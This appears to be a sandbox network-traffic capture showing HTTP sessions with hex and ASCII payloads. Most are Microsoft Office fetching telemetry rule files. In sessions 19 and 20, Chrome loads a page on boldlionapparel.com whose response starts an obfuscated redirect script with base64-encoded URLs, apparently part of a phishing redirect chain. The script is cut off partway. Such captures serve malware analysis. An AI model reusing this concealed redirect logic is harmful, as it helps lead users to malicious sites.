2024-10-16 15:56:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 2b077638-201e-003c-08d8-1e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155632Z-16b659b44999c8xwz4dbqvgykc00000009e00000000079pn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 52ecfd05-901e-0029-01d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155632Z-16b659b4499hn29ks1ddp5hvac00000009tg00000000dyam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49738	103.83.194.55	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:32 UTC	707	OUT	GET /.i HTTP/1.1 Host: boldlionapparel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.google.com.sg/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:33 UTC	215	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 16 Oct 2024 15:56:32 GMT Server: Apache Location: https://boldlionapparel.com/.i/ Content-Length: 239 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-16 15:56:33 UTC	239	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 6f 6c 64 6c 69 6f 6e 61 70 70 61 72 65 6c 2e 63 6f 6d 2f 2e 69 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://boldlionapparel.com/.i/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49739	103.83.194.55	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:33 UTC	708	OUT	GET /.i/ HTTP/1.1 Host: boldlionapparel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.google.com.sg/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:33 UTC	159	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:33 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-16 15:56:33 UTC	585	IN	Data Raw: 32 33 64 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 76 61 72 20 66 69 72 73 74 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 34 4c 6d 4e 76 62 51 3d 3d 22 3b 0d 0a 20 20 20 20 76 61 72 20 73 65 63 6f 6e 64 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 6c 59 58 4a 30 61 47 68 6c 63 6d 39 7a 4c 6d 4e 76 62 53 35 6b 5a 53 39 52 62 56 5a 73 54 79 38 3d 22 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 4c 6f 61 64 20 74 68 65 20 66 69 72 73 74 20 55 52 4c 20 66 6f 72 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f Data Ascii: 23d <script type="text/javascript"> var firstBase64Url = "aHR0cHM6Ly94LmNvbQ=="; var secondBase64Url = "aHR0cHM6Ly9lYXJ0aGhlcm9zLmNvbS5kZS9RbVZsTy8="; // Load the first URL for a few seconds setTimeout(function() { window.o

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:33 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 51d0ecd1-b01e-0098-43d8-1ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155633Z-r197bdfb6b4sn8wg20e97vn7ps00000008k000000000ak97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:33 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0c01d776-601e-0084-1bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155633Z-15b8d89586f8nxpt6pvtkfw3pg000000023000000000pcdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:33 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 84133f47-001e-0014-21d8-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155633Z-15b8d89586fs9clcebkvq6f0sc0000000280000000005ubg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:33 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ef991075-401e-00a3-63d8-1e8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155633Z-r197bdfb6b4k6h5jucrvquac3n00000008f0000000003zv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:33 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ad3e2c7c-901e-0064-12d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155633Z-16b659b4499wvth4ttszf0h3n4000000060000000000tk8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:34 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:34 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: c8d8fd2a-d01e-005a-5ad8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155634Z-16b659b4499gh2srh1fh903xkw00000008eg00000000ftnf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:34 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:34 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 12ee0118-f01e-0003-4ed8-1e4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155634Z-r197bdfb6b4k6h5jucrvquac3n00000008eg0000000057qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:34 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49746	13.107.246.45	443

